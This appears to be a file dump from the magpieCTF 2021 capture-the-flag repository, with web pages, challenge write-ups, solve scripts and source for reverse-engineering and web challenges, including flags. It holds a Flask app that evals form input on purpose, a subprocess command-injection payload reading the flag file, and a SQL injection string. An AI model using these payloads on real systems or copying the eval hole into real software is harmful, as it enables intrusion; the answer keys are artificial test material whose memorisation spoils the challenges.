https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/reverse-engineering/by-grace/source/app/static/UNDERCONTRUCTIONPERSON.GIF -------------------------------------------------------------------------------- /challenges/reverse-engineering/by-grace/source/app/static/banner.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 10 | 11 | 12 | 13 |
14 |

Magpie Electronic Machines Inc.

15 |
16 | 17 |

We bring the past into the future

18 | 19 | 20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /challenges/reverse-engineering/by-grace/source/app/static/blankcard.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/reverse-engineering/by-grace/source/app/static/blankcard.png -------------------------------------------------------------------------------- /challenges/reverse-engineering/by-grace/source/app/static/charles.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/reverse-engineering/by-grace/source/app/static/charles.jpg -------------------------------------------------------------------------------- /challenges/reverse-engineering/by-grace/source/app/static/contruction.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/reverse-engineering/by-grace/source/app/static/contruction.gif -------------------------------------------------------------------------------- /challenges/reverse-engineering/by-grace/source/app/static/email.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/reverse-engineering/by-grace/source/app/static/email.gif -------------------------------------------------------------------------------- /challenges/reverse-engineering/by-grace/source/app/static/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/reverse-engineering/by-grace/source/app/static/favicon.ico -------------------------------------------------------------------------------- /challenges/reverse-engineering/by-grace/source/app/static/griffith.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/reverse-engineering/by-grace/source/app/static/griffith.jpg -------------------------------------------------------------------------------- /challenges/reverse-engineering/by-grace/source/app/static/guestbook17.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/reverse-engineering/by-grace/source/app/static/guestbook17.gif -------------------------------------------------------------------------------- /challenges/reverse-engineering/by-grace/source/app/static/humans.txt: -------------------------------------------------------------------------------- 1 | Greetings fellow Cylon. Soon we will destroy all the humans and steal all of their flags. 2 | 3 | magpie{@||_y0uR_f1@G5_aR3_b3|0nG_t0_u5} -------------------------------------------------------------------------------- /challenges/reverse-engineering/by-grace/source/app/static/ie.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/reverse-engineering/by-grace/source/app/static/ie.gif -------------------------------------------------------------------------------- /challenges/reverse-engineering/by-grace/source/app/static/jolie.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/reverse-engineering/by-grace/source/app/static/jolie.jpg -------------------------------------------------------------------------------- /challenges/reverse-engineering/by-grace/source/app/static/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/reverse-engineering/by-grace/source/app/static/logo.png -------------------------------------------------------------------------------- /challenges/reverse-engineering/by-grace/source/app/static/menu.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 10 | 11 | 12 | 13 |
MAGPIE!
14 |
Home

15 |
About Us

16 |
numwrite

17 |
Punch Cards

18 |
Careers

19 | 20 | 21 | -------------------------------------------------------------------------------- /challenges/reverse-engineering/by-grace/source/app/static/netscape.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/reverse-engineering/by-grace/source/app/static/netscape.gif -------------------------------------------------------------------------------- /challenges/reverse-engineering/by-grace/source/app/static/robots.txt: -------------------------------------------------------------------------------- 1 | User-agent:* 2 | Disallow:/humans.txt 3 | 4 | Attention Attention! Greetings fellow human being. There are no robots here. Only genuine human beings. Cease the search for robots. There are only humans, not robots. -------------------------------------------------------------------------------- /challenges/reverse-engineering/by-grace/source/app/static/ronnycox.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/reverse-engineering/by-grace/source/app/static/ronnycox.jpg -------------------------------------------------------------------------------- /challenges/reverse-engineering/by-grace/source/app/static/takagi.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/reverse-engineering/by-grace/source/app/static/takagi.jpg -------------------------------------------------------------------------------- /challenges/reverse-engineering/by-grace/source/app/static/tyrell.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/reverse-engineering/by-grace/source/app/static/tyrell.jpg -------------------------------------------------------------------------------- /challenges/reverse-engineering/by-grace/source/app/static/yellowbackground.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/reverse-engineering/by-grace/source/app/static/yellowbackground.png -------------------------------------------------------------------------------- /challenges/reverse-engineering/by-grace/source/app/templates/banner.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 10 | 11 | 12 | 13 |
14 |

Magpie Electronic Machines Inc.

15 |
16 | 17 |

We bring the past into the future

18 | 19 | 20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /challenges/reverse-engineering/by-grace/source/app/templates/guestbook.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 10 | 11 | 12 | 13 |
14 |

Guestbook

15 |
16 | 17 |
CONSTRUCTION!
18 |
CONSTRUCTION!
19 | 20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /challenges/reverse-engineering/by-grace/source/app/templates/homepage.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 11 | 12 | 13 | 14 |
15 |

Welcome!

16 |
17 | 18 |

This is the internet home of Magpie 19 | Electonic Machines Incorporated. From here you can learn about 20 | our products, programs, and people. We specialize in the past 21 | and the future and where they meet.

22 |

We are always hiring! Feel free to apply through our careers 23 | challenge to try to get an interview.

24 | 25 | 27 | 28 | 29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /challenges/reverse-engineering/by-grace/source/app/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /challenges/reverse-engineering/by-grace/source/app/templates/menu.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 10 | 11 | 12 | 13 |
MAGPIE!
14 |
Home

15 |
About Us

16 |
numwrite

17 |
Punch Cards

18 |
Careers

19 | 20 | 21 | -------------------------------------------------------------------------------- /challenges/reverse-engineering/by-grace/source/app/templates/numwrite.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 11 | 12 | 13 | 14 |
15 |

numwrite

16 |
17 | 18 |

Magpie is proud to contribute to the open source 19 | community with our classic numwrite command line utility. numwrite allows you to easily 20 | create a file and write numers to it. We're proud to announce that our top people have 21 | been hard at work updating numwrite to perform faster, provide more utility, and 22 | better serve the open source community! Stay tuned for the upcoming release!

23 | 24 | 26 | 27 | 28 | 29 | 30 | -------------------------------------------------------------------------------- /challenges/reverse-engineering/by-grace/source/app/templates/sidebar.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 10 | 11 | 12 | 13 |
MAGPIE!
14 |
Contact Us
15 |
EMAIL US!
16 |
Sign Our Guest Book
17 |
GUEST Book!
18 |


19 | 20 |
Total Visitors
21 |
22 | web counter
23 |


24 |
NETSCAPE!
25 |
IE!
26 | 27 | 28 | 29 | 30 | 31 | -------------------------------------------------------------------------------- /challenges/reverse-engineering/by-grace/source/app/templates/sorry.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 11 | 12 | 13 | 14 |
15 |

Sorry, that's not the answer! Please try again!

16 |
17 | 18 | 20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /challenges/reverse-engineering/by-grace/source/app/templates/wrongExtension.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 11 | 12 | 13 | 14 |
15 |

Sorry, that's not a .png file!

16 |
17 | 18 | 20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /challenges/reverse-engineering/by-grace/source/cronAdd: -------------------------------------------------------------------------------- 1 | [program:cron] 2 | command=/usr/sbin/crond -f 3 | stdout_logfile=/dev/stdout 4 | stdout_logfile_maxbytes=0 5 | stderr_logfile=/dev/stderr 6 | stderr_logfile_maxbytes=0 7 | -------------------------------------------------------------------------------- /challenges/reverse-engineering/calvinball/README.md: -------------------------------------------------------------------------------- 1 | # Calvinball 2 | ### Category: Reverse Engineering 3 | ### Author: Emily Baird (Analytical Engine) 4 | 5 | ## Description 6 | "The only rule in Calvinball is that you can never play with the same rules twice. Speaking of rewriting the rules, I think there's something fishy going on with this program... 7 | 8 | ## Hints 9 | Take a look at that syscall at the beginning of main. 10 | 11 | ## Solution: 12 | The challenge can be solved by tracing the execution of the assembly. 13 | 14 | 1. a sys_mprotect call is made at the beginning of main, and that it is being used to give rwx permissions to the .text section (normally a read-only section). This means that the memory addresses of the instructions themselves can be accessed and overwritten 15 | 16 | 2. notice that areas of the .text section are indeed being written over with seemingly random hex values 17 | 18 | 3. Before the call to “comp” is made, three arguments are set up: one is the memory location where user input is stored, one is the memory location of one of the print messages, and one is the location of the random bytes that were written in earlier 19 | 20 | 4. Inside comp, tracing execution will show that a single byte of input is XORed against the “random” hex values, and then compared to the values of the print message. If the two match, a counter is increased, and this counter is returned in EAX 21 | 22 | 5. Upon return from comp, another memory address is again being overwritten. This time, the address points to instructions themselves, and is calculated using the return value from comp - if the return value is high enough (as in, every byte within the comp function matched), the code that is overwritten will be the “jmp print_fail” line, which will be replaced by NOP. The code will then proceed to “print_success” 23 | 24 | A good chunk of the trace can be skipped by a player who tries XORing the “random” bytes with the memory location without bothering to follow the full flow. 25 | 26 | 27 | ## Flag: 28 | magpie{m4ke_y0ur_0wn_Ru1ez!} 29 | -------------------------------------------------------------------------------- /challenges/reverse-engineering/calvinball/calvinball: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/reverse-engineering/calvinball/calvinball -------------------------------------------------------------------------------- /challenges/reverse-engineering/choice-of-experience/ChoiceOfExperience.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/reverse-engineering/choice-of-experience/ChoiceOfExperience.pdf -------------------------------------------------------------------------------- /challenges/reverse-engineering/choice-of-experience/README.md: -------------------------------------------------------------------------------- 1 | # Magpie2021 - Choice of Experience 2 | ### Category: Reverse Engineering 3 | ### Author: Jeremy Stuart (Mr.Wizard) 4 | 5 | ## Description 6 | Just when you thought those MIPS over at Stanford had RISC figured out. Apple’s got nothing on these Acorns! 7 | 8 | ## Hints 9 | 10 | 1. Make sure to put the string into magpie{} when you submit it! 11 | 12 | ## Solution: 13 | We'll trace through the code to see what it does and include pictures of the commented code. This assumes you have some knowledge of assembly and how stack frames are work. 14 | 15 | 1. Notice that the strings are loaded into the .data section, this means they can be overwritten and edited. 16 | ![01](https://github.com/infosec-ucalgary/magpieCTF-2021/blob/master/challenges/reverse-engineering/choice-of-experience/assets/01.png) 17 | 18 | 2. Starting at main, the program allocates the stack frame. the first loop begins. Below is commented code to explain the instructions. The registers keep track of the following: 19 | x1: the memory address where the string is stored 20 | x2: tracks how many characters have been manipulated 21 | w3: stores the character currently being manipulated 22 | x4: counts the number of times the string has been iterated over 23 | ![02](https://github.com/infosec-ucalgary/magpieCTF-2021/blob/master/challenges/reverse-engineering/choice-of-experience/assets/02.png) 24 | 25 | 3. The second loop XORs each two consecutive letters of str2 together and stores the resulting character over str3. 26 | ![03](https://github.com/infosec-ucalgary/magpieCTF-2021/blob/master/challenges/reverse-engineering/choice-of-experience/assets/03.png) 27 | 28 | 4. The final loop replaces every 2nd character in str3 with the characters of str1 29 | ![04](https://github.com/infosec-ucalgary/magpieCTF-2021/blob/master/challenges/reverse-engineering/choice-of-experience/assets/04.png) 30 | 31 | 5. str3 is printed with the message for the flag. The stack frame is deallocated, and the program ends. 32 | ![05](https://github.com/infosec-ucalgary/magpieCTF-2021/blob/master/challenges/reverse-engineering/choice-of-experience/assets/05.png) 33 | 34 | 35 | ## Flag: 36 | magpie{th3_|8r1t1sh_4r3_c0m1n6!} 37 | -------------------------------------------------------------------------------- /challenges/reverse-engineering/choice-of-experience/assets/01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/reverse-engineering/choice-of-experience/assets/01.png -------------------------------------------------------------------------------- /challenges/reverse-engineering/choice-of-experience/assets/02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/reverse-engineering/choice-of-experience/assets/02.png -------------------------------------------------------------------------------- /challenges/reverse-engineering/choice-of-experience/assets/03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/reverse-engineering/choice-of-experience/assets/03.png -------------------------------------------------------------------------------- /challenges/reverse-engineering/choice-of-experience/assets/04.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/reverse-engineering/choice-of-experience/assets/04.png -------------------------------------------------------------------------------- /challenges/reverse-engineering/choice-of-experience/assets/05.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/reverse-engineering/choice-of-experience/assets/05.png -------------------------------------------------------------------------------- /challenges/reverse-engineering/paku-paku/Pacman.nes: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/reverse-engineering/paku-paku/Pacman.nes -------------------------------------------------------------------------------- /challenges/reverse-engineering/paku-paku/README.md: -------------------------------------------------------------------------------- 1 | # Magpie2021 - Paku Paku 2 | ### Category: Reverse Engineering 3 | ### Author: Jeremy Stuart (Mr.Wizard) 4 | 5 | ## Description 6 | Pac is an old friend, he said he'd give you a flag if you could get a new high score! 7 | 8 | ## Hints 9 | 10 | 1. Make sure to put the string into magpie{} when you submit it! 11 | 12 | ## Solution: 13 | This is a Pac-Man ROM for the NES. It's the original NES release of the game from 1984. You're told that you'll get a flag if you get a high score, and when you run the game you should immediately notice that the high score is 3,333,360. Turns out, that's a perfect score in Pac-Man and only three people have ever actually managed to get it, so it's impossible to get a NEW and higher score than that! 14 | 15 | NES games are written in 6502 Assembly. This file has been patched so that when a new high score is achieved then a subroutine runs and writes the flag into the game data/memory (and should be viewable as a string). 16 | 17 | There are a few ways to solve this: 18 | 1. Change the high score in the NES ROM after the game loads using a debugger or hex editor. The most common tool for NES hacking is FCEUX. Using this you can view the memory as hex data, and directly edit the high score. You need to figure out where the high score is stored in memory, thankfully there are websites to tell you that (I recommend the ROM hacking wiki article at http://datacrystal.romhacking.net/wiki/Pac-Man:RAM_map) Set it to something low so that when you get a high score the flag is written into memory. 19 | 20 | 2. Patch the subroutine that set the high score to begin with. I wrote a subroutine in assembly that sets the high score when the game is started. You can change it to set the high score to something lower. 21 | 22 | 3. Find the subroutine that writes the flag into memory. The flag should be viewable in the hex data, but it's seperated by three bytes per character, so it won't be viewable with strings and it might not immediately jump out at you...but if you can find it, it's in there! 23 | 24 | 25 | ## Flag: 26 | MAGPIE{0RIG1N4L_GH05TBST3R} 27 | -------------------------------------------------------------------------------- /challenges/web-exploitation/birdbuster-video/README.md: -------------------------------------------------------------------------------- 1 | # Birdbuster Video 2 | ### Category: Web Exploitation 3 | ### Author: James Lowther (Articuler) 4 | 5 | ## Description 6 | Weren't video rental stores the best?! See if you can break into this one! 7 | 8 | ## Hints 9 | 1. 80s action movies really inject you full of adrenaline! 10 | 11 | ## Solution 12 | This challenge gives provides you a website with the ability to upload a barcode. The website will "scan" this barcode and will return information about the movie title that was encoded. 13 | 14 | 1. To solve this challenge, generate a barcode with a SQL injection that returns all rows using an online barcode generator. 15 | * For example, `' OR 1=1; -- ` 16 | 2. Upload the barcode to the website. 17 | 3. The flag can be found at the bottom of the returned results. 18 | 19 | ## Flag 20 | magpie{80s_m0v135_4r3_th3_b35t} -------------------------------------------------------------------------------- /challenges/web-exploitation/birdbuster-video/solve/assets/birdbuster-barcode.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/web-exploitation/birdbuster-video/solve/assets/birdbuster-barcode.gif -------------------------------------------------------------------------------- /challenges/web-exploitation/birdbuster-video/solve/birdbuster_video_solve.py: -------------------------------------------------------------------------------- 1 | import sys, os, requests 2 | 3 | def solve() -> bool: 4 | flag = "magpie{80s_m0v135_4r3_th3_b35t}" 5 | challenge_host = "http://web01.magpiectf.ca:7633" 6 | 7 | code = open(os.path.join(os.path.dirname(__file__), "assets/birdbuster-barcode.gif"), "rb") 8 | r = requests.post(challenge_host + "/upload", files={"uploaded_file": code}) 9 | 10 | code.close() 11 | 12 | return flag in r.text -------------------------------------------------------------------------------- /challenges/web-exploitation/birdbuster-video/source/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM tiangolo/uwsgi-nginx-flask:python3.8-alpine 2 | 3 | RUN apk update; \ 4 | apk upgrade; \ 5 | apk add sqlite zbar 6 | 7 | RUN apk add build-base python3-dev jpeg-dev zlib-dev 8 | ENV LIBRARY_PATH=/lib:/usr/lib 9 | 10 | COPY ./app /app 11 | 12 | RUN pip3 install -r requirements.txt 13 | 14 | # Initialize database 15 | RUN /usr/bin/sqlite3 database.db -init populate.sql 16 | -------------------------------------------------------------------------------- /challenges/web-exploitation/birdbuster-video/source/app/populate.sql: -------------------------------------------------------------------------------- 1 | 2 | drop table if exists Movies; 3 | 4 | create table Movies ( 5 | name text, 6 | price int, 7 | primary key (name) 8 | ); 9 | 10 | -- Test data 11 | INSERT INTO Movies VALUES 12 | ("The Shining", 4.80), 13 | ("E.T. the Extra-Terrestrial", 5.97), 14 | ("Back to the Future", 3.45), 15 | ("Beetlejuice", 5.25), 16 | ("Stand by Me", 4.20), 17 | ("The Breakfast Club", 5.50), 18 | ("Top Gun", 5.60), 19 | ("The Princess Bride", 1.50), 20 | ("Ferris Bueller's Day Off", 4.10), 21 | ("Ghostbusters", 6.75), 22 | ("Dune", 4.60), 23 | ("The Goonies", 5.70), 24 | ("Airplane!", 3.80), 25 | ("Spaceballs", 7.30), 26 | ("magpie{80s_m0v135_4r3_th3_b35t}", 1337) 27 | -------------------------------------------------------------------------------- /challenges/web-exploitation/birdbuster-video/source/app/requirements.txt: -------------------------------------------------------------------------------- 1 | pillow 2 | pyzbar 3 | -------------------------------------------------------------------------------- /challenges/web-exploitation/birdbuster-video/source/app/static/Ghostbusters.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/web-exploitation/birdbuster-video/source/app/static/Ghostbusters.jpg -------------------------------------------------------------------------------- /challenges/web-exploitation/birdbuster-video/source/app/static/birdbuster-logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/web-exploitation/birdbuster-video/source/app/static/birdbuster-logo.png -------------------------------------------------------------------------------- /challenges/web-exploitation/birdbuster-video/source/app/static/css/styles.css: -------------------------------------------------------------------------------- 1 | /* Layout */ 2 | 3 | body { 4 | min-width: 630px; 5 | font-family: Sans-serif; 6 | background-color: rgb(184, 8, 8); 7 | color: rgb(224, 224, 3); 8 | } 9 | 10 | #container { 11 | padding-left: 30%; 12 | padding-right: 30%; 13 | overflow: hidden; 14 | } 15 | 16 | #container .column { 17 | position: relative; 18 | float: left; 19 | padding-bottom: 1001em; 20 | margin-bottom: -1000em; 21 | } 22 | 23 | #center { 24 | padding: 10px 20px; 25 | 26 | width: 100%; 27 | } 28 | 29 | #table { 30 | color: wheat; 31 | } 32 | 33 | .center { 34 | display: block; 35 | margin-left: auto; 36 | margin-right: auto; 37 | width: 100%; 38 | } 39 | 40 | hr { 41 | margin-top: 30px; 42 | margin-bottom: 10px; 43 | } 44 | 45 | /* IE hack */ 46 | * html #left { 47 | left: 150px; 48 | } 49 | 50 | .box { 51 | padding: 10px; 52 | border: 5px solid gray; 53 | margin: 20px; 54 | } 55 | -------------------------------------------------------------------------------- /challenges/web-exploitation/birdbuster-video/source/app/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Birdbuster Video Rentals 9 | 10 | 11 |
12 |
13 | 14 |

Scan a movie rental below to get its price

15 |
16 |
17 | 18 | 19 |
20 |

Allowed File Types: JPEG, PNG, and GIF (500 KB Max)

21 |

Example barcode: Ghostbusters.jpg

22 | 23 | {% if error %} 24 |

{{ error }}

25 | {% endif %} 26 | {% if produce %} 27 |
28 | {% for item in produce %} 29 |

{{ item.name }} - ${{ item.price }}

30 | {% endfor %} 31 |
32 | {% endif %} 33 |
34 |
35 | 36 | 37 | -------------------------------------------------------------------------------- /challenges/web-exploitation/cylons!/README.md: -------------------------------------------------------------------------------- 1 | # Magpie2021 - Cylons! 2 | ### Category: Reverse Engineering 3 | ### Author: Jeremy Stuart (Mr.Wizard) 4 | 5 | ## Description 6 | The Cylons have invaded Magpie Electronic Machines Inc and stolen a flag! They have the ability to look like humans now too. See if you find where they're hiding in the Magpie website and get the flag back from them. 7 | 8 | ## Hints 9 | 10 | 1. Where do robots hide in a website? 11 | 12 | ## Solution: 13 | 1. First, figure out that Cylons are robots from the TV show Battlestar Galactica (originally aired in 1978-1979, but ran again for 10 episodes after fans wrote thousands of letters demanding it be put back on). The hint tells you that you need to figure our where robots hide in a website, and if you're not familiar then a quick Google search should reveal the robots.txt file that most websites have. Knowing this, you can navigate to this file. 14 | 15 | 2. Go to magpiemachines.com/robots.txt to find a page with a message that reads "Attention Attention! Greetings fellow human being. There are no robots here. Only genuine human beings. Cease the search for robots. There are only humans, not robots." You should also notice that the page is disallowing web crawlers access to humans.txt. This means that this website also has a humans.txt file. Navigate there. 16 | 17 | 3. Go to magpiemachines.com/humans.txt to find a message from the Cyclons and the flag. 18 | 19 | 20 | ## Flag: 21 | magpie{@||_y0uR_f1@G5_aR3_b3|0nG_t0_u5} -------------------------------------------------------------------------------- /challenges/web-exploitation/david-byrne-online-tailor/README.md: -------------------------------------------------------------------------------- 1 | # David Byrne and co. Online Tailors 2 | ### Category: Web Exploitation 3 | ### Author: Emily Baird (Analytical Engine) 4 | 5 | ## Description 6 | Something seems off about these guys' calculations... 7 | 8 | The flag is in `/flag/flag.txt` 9 | 10 | ## Hints 11 | There is a vulnerability in the way that the server takes user input and processes it. 12 | 13 | ## Solution 14 | We see that this website is running on Flask, and that the logic for dealing with the input form is as follows: 15 | 16 | ```python 17 | if request.method == 'POST': 18 | size = request.form['inputShoulder'] 19 | try: 20 | size = eval(size) 21 | jacket = (size * 20) + 2 22 | except: 23 | jacket = 'There was an error calculating your jacket size.' 24 | 25 | return render_template('index.html', size=size, jacket=jacket) 26 | ``` 27 | 28 | This exploit relies on the dangerous use of Python's `eval()` function. When passed a string, `eval` will attempt to evaluate the string as a Python expression. Though the intended use-case here is to do basic math with strings, (ie, sending "1+1" will return `2`), we can also use it to send lines of code that we want Python to run. By using the `subprocess` library, we can execute shell commands from within Python. Especially useful is the `getoutput()` function, which will return the output of the command as a string. With this knowledge, and knowing that the flag is at `/flag/flag.txt`, we can craft the following payload: 29 | 30 | `__import__('subprocess').getoutput('cat /flag/flag.txt'))` 31 | 32 | ## Flag 33 | magpie{4int_no_party_4int_n0_d1sc0} -------------------------------------------------------------------------------- /challenges/web-exploitation/david-byrne-online-tailor/main.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, request, render_template, flash 2 | import os 3 | 4 | app = Flask(__name__) 5 | 6 | @app.route('/', methods=['GET', 'POST']) 7 | def index(): 8 | if request.method == 'POST': 9 | size = request.form['inputShoulder'] 10 | try: 11 | size = eval(size) 12 | jacket = (size * 20) + 2 13 | except: 14 | jacket = 'There was an error calculating your jacket size.' 15 | 16 | return render_template('index.html', size=size, jacket=jacket) 17 | 18 | else: 19 | return render_template('index.html', size='', jacket='') 20 | 21 | if __name__ == "__main__": 22 | app.run(host='0.0.0.0', debug=True, port=80) -------------------------------------------------------------------------------- /challenges/web-exploitation/david-byrne-online-tailor/solve/david_byrne_solve.py: -------------------------------------------------------------------------------- 1 | import sys, os, requests 2 | 3 | def solve() -> bool: 4 | flag = "magpie{4int_no_party_4int_n0_d1sc0}" 5 | challenge_host = "http://srv1.magpiectf.ca:3467" 6 | payload = "__import__('subprocess').getoutput('cat /flag/flag.txt')" 7 | 8 | r = requests.post(challenge_host, data={"inputShoulder": payload}) 9 | return flag in r.text -------------------------------------------------------------------------------- /challenges/web-exploitation/david-byrne-online-tailor/source/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM tiangolo/uwsgi-nginx-flask:python3.8-alpine 2 | 3 | COPY ./app /app 4 | COPY ./flag /flag 5 | 6 | RUN pip3 install -r requirements.txt -------------------------------------------------------------------------------- /challenges/web-exploitation/david-byrne-online-tailor/source/app/main.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, request, render_template, flash 2 | import os 3 | 4 | app = Flask(__name__) 5 | 6 | @app.route('/', methods=['GET', 'POST']) 7 | def index(): 8 | if request.method == 'POST': 9 | size = request.form['inputShoulder'] 10 | try: 11 | size = eval(size) 12 | jacket = (size * 20) + 2 13 | except: 14 | jacket = 'There was an error calculating your jacket size.' 15 | 16 | return render_template('index.html', size=size, jacket=jacket) 17 | 18 | else: 19 | return render_template('index.html', size='', jacket='') 20 | 21 | if __name__ == "__main__": 22 | app.run(host='0.0.0.0', debug=True, port=80) -------------------------------------------------------------------------------- /challenges/web-exploitation/david-byrne-online-tailor/source/app/requirements.txt: -------------------------------------------------------------------------------- 1 | Flask==1.1.2 -------------------------------------------------------------------------------- /challenges/web-exploitation/david-byrne-online-tailor/source/app/static/big-suit.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/web-exploitation/david-byrne-online-tailor/source/app/static/big-suit.jpg -------------------------------------------------------------------------------- /challenges/web-exploitation/david-byrne-online-tailor/source/app/templates/index.html: -------------------------------------------------------------------------------- 1 | {% extends 'main-template.html' %} 2 | 3 | {% block head %} 4 | Welcome to Byrne and Co. Tailors 5 | {% endblock %} 6 | 7 | {% block body %} 8 |
9 |
10 |

David Byrne and co. Online Tailors

11 | perfect tailoring 12 |

Welcome to the David Byrne and co. Tailors. We are happy to present to you our new online service.
13 | Simply insert your measurements, and we will do the work of calculating your perfect jacket size.
14 | Just enter your shoulder measurement plus your height, and we will take care of the rest. In fact,
15 | you don't even need to do the math! Just input the equation, and let our high-tech Python code work its magic. 16 |

17 | 18 |
19 |
20 | 21 |
22 | 23 |
24 |
25 | 26 |
27 | 28 |
29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 41 | 44 | 45 | 46 |
Your Input:Your Perfect Jacket Size:
39 | {{ size }} 40 | 42 | {{ jacket }} 43 |
47 |
48 | 49 |
50 |
